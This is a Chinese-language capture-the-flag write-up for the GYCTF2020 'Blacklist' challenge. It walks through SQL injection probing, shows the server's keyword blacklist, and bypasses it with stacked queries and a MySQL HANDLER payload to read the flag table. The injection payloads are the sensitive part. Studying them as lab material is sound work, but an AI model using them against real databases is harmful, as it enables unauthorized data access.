[GYCTF2020]Blacklist(堆叠注入)

目录

信息收集

堆叠注入

payload

总结


信息收集

观察url变化是get请求的SQL注入题目

判断注入类型

1和1"回显一样

1'回显报错

1' or 1=1#

[GYCTF2020]Blacklist(堆叠注入)_第1张图片

array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}

array(2) {
  [0]=>
  string(1) "2"
  [1]=>
  string(12) "miaomiaomiao"
}

array(2) {
  [0]=>
  string(6) "114514"
  [1]=>
  string(2) "ys"
}

猜测SQL语句为

select * from tablename where user ='{inject}';

判断列数

1' order by 3#

error 1054 : Unknown column '3' in 'order clause'

一共2列

判断回显

-1' union select 1,2,3#

回显出过滤规则

return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

select被过滤了,.也被过过滤了(这里的\是单个匹配),根据以往经验这种题目可能是延时,或者堆叠注入

我们先尝试最方便的堆叠注入

堆叠注入

1';show databases;#

[GYCTF2020]Blacklist(堆叠注入)_第2张图片

1'; show tables;# 

[GYCTF2020]Blacklist(堆叠注入)_第3张图片

猜测flag可能在flaghere这个表里面

1'; show columns from FlagHere;#

[GYCTF2020]Blacklist(堆叠注入)_第4张图片

 flag应该在 表FlagHere的“flag”列里面

array(6) {
  [0]=>
  string(4) "flag"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}
这里set被禁用,因此无法使用预处理进行语句编写,也禁用了rename语句,因此不能改名来直接通过id读取

我们可以使用之前用过的handler函数进行读取

payload

1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#

拿到flag

[GYCTF2020]Blacklist(堆叠注入)_第5张图片

总结

这个题目的解法和之前做过的[强网杯 2019]随便注比较相似,都是堆叠注入的考点,不过过滤了它的前两种做法使用的函数,使得我们只能通过第三种方法handler函数进行读取

你可能感兴趣的:(web安全,数据库,sql,web安全,网络安全)